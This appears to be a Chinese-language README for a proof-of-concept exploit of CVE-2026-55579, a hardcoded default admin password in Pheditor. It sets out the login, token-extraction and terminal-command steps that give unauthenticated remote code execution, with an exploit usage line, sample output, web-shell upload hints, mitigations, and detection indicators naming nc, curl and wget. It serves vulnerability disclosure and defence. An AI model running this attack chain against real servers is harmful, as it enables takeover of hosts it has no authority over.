TL;DR: Pheditor(所有版本)在其源代码中嵌入了一个硬编码的默认管理员密码(
admin)。首次登录时没有强制修改密码,仅显示视觉警告。任何未认证的攻击者可以以 admin 身份登录,并滥用内置的终端面板(action=terminal)以 Web 服务器权限执行任意操作系统命令。结合文件上传功能,这导致未认证的远程代码执行(RCE)。
该漏洞源于 pheditor.php(第11行)中硬编码的密码 admin 的 SHA-512 哈希:
define('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec');
此哈希对应:
echo -n 'admin' | sha512sum
为什么这是致命一击:
pheditor.php 第1956–1958行)。admin/admin,攻击者可以登录并获得对以下功能的完全访问:
action=terminal)action=upload)action=open/action=save)没有速率限制、没有锁定、没有额外的认证因素。
攻击极其简单,无需任何猜测:
pheditor.php 发送 POST 请求,参数为 pheditor_password=admin。服务器设置会话 Cookie。token JavaScript 变量。POST 请求,包含:
action=terminaltoken=<提取的令牌>command=<操作系统命令>dir=(可选)<pre> 标签中返回,可以干净地解析。或者,攻击者可以上传 Web shell 或覆盖应用程序文件。
克隆官方仓库并启动本地服务器:
git clone https://github.com/pheditor/pheditor.git /tmp/pheditor
cd /tmp/pheditor
php -S localhost:8080 pheditor.php &
提供的 Python 漏洞利用程序仅依赖 Python 标准库(无外部依赖)。它具有基于 argparse 的命令行界面、高级错误处理、详细模式和超时控制。
python3 exploit.py http://localhost:8080/pheditor.php "id; hostname; whoami"
[*] 正在使用密码 admin 登录...
[+] 登录成功
[*] 正在提取 CSRF 令牌...
[+] 令牌: a1b2c3d4e5f6...
[*] 正在执行: id; hostname; whoami
==================================================
命令输出:
==================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ubuntu
www-data
==================================================
成功利用将授予攻击者:
root)身份运行,攻击者可完全控制主机。鉴于 Pheditor 通常用于开发环境或作为轻量级文件管理器,攻击者可以轻松发现并利用它获得初始立足点。
pheditor_password=admin)。监控环境中的入侵指标:
pheditor.php 的 POST 请求,包含 pheditor_password=admin 或 action=terminal。sh、bash、nc、curl 或 wget 的命令。有关利用链和附加载荷的深入分析,请参阅 ANALYSIS.md。
免责声明: 本仓库包含一个概念验证(PoC),严格用于防御、教育和授权的安全测试目的。请勿在非您拥有或未获得明确书面许可的系统上使用此代码。作者不对任何滥用行为承担责任。
| 属性 | 详情 |
|---|
| CVE 标识符 | CVE-2026-55579 |
| 受影响的软件 | Pheditor(所有版本,包括当前最新 HEAD) |
| 修复版本 | 尚无(供应商尚未发布补丁;需要临时解决方案) |
| 漏洞类型 | CWE-798:使用硬编码凭据 |
| CVSS v3.1 评分 | 9.8(严重) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 认证 | 无 – 默认凭据公开已知 |
| 验证 | 已在全新安装的 Pheditor 上确认 |